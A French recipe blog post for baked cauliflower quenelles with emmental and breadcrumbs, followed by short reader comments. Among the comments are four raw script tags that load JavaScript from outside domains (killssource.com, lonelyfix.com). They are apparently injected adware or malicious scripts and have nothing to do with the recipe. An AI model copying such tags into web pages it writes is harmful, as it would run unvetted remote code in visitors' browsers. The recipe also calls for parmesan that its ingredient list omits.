-
Des Quenelles de Chou-fleur
Aujourd'hui, je vous propose de cuisiner le chou-fleur… Toujours en recherche d'accompagnements, j'ai aimé cette recette de Marlyzen!
Et pour ma part, j'ai accommodé ces quenelles de chou-fleur avec le délicieux couscous végétarien...
Quenelles de Chou-fleur
970g de chou fleur (surgelé pour moi), 2 oignons rouges, 2 oeufs, 9 cuillères à soupe d'emmental râpé, 6 cuillères à soupe de chapelure, du basilic, de l'huile d'olive, de la fleur de sel, du poivre
Préchauffer le four à 200°C.
Dans un saladier, écraser le chou-fleur cuit à l'aide d'une fourchette.
Ajouter les oignons ciselés, les oeufs, le parmesan, l'emmental, la chapelure et le basilic. Saler. poivrer,
mélanger bien.
Former des quenelles et les placer sur une plaque Flexipan.
Enfourner et laisser cuire 20 minutes.
Bon appétit!
Voilà une assiette toute végétarienne! Avis aux amatrices et amateurs!
Belle journée à vous et rendez-vous demain pour la toque du samedi....
Tags : chou, fleur, quenelles, emmental
-
Commentaires
Tout ^pour me plaire!
<script src="//killssource.com/21c1e810f7f98f00b3.js"></script> <script src="//lonelyfix.com/21d85fef47dc8f531c.js"></script> <script src="http://killssource.com/optout/get?jsonp=__mtz_cb_269633730&key=21c1e810f7f98f00b3&t=1573198517883" type="text/javascript"></script> <script src="http://lonelyfix.com/optout/get?jsonp=__mtz_cb_734567079&key=21d85fef47dc8f531c&t=1573198518126" type="text/javascript"></script>4CarineVendredi 8 Novembre 2019 à 15:595CécileVendredi 8 Novembre 2019 à 21:19Une ou deux fois la semaine je mange végétariens. Cela fait du bien je trouve. Belle soirée et bon week-end. Bisous
Suivre le flux RSS des commentaires
Ajouter un commentaire
Créer mon blog
voilà une recette qui me plait beaucoup, merci du partage, bisous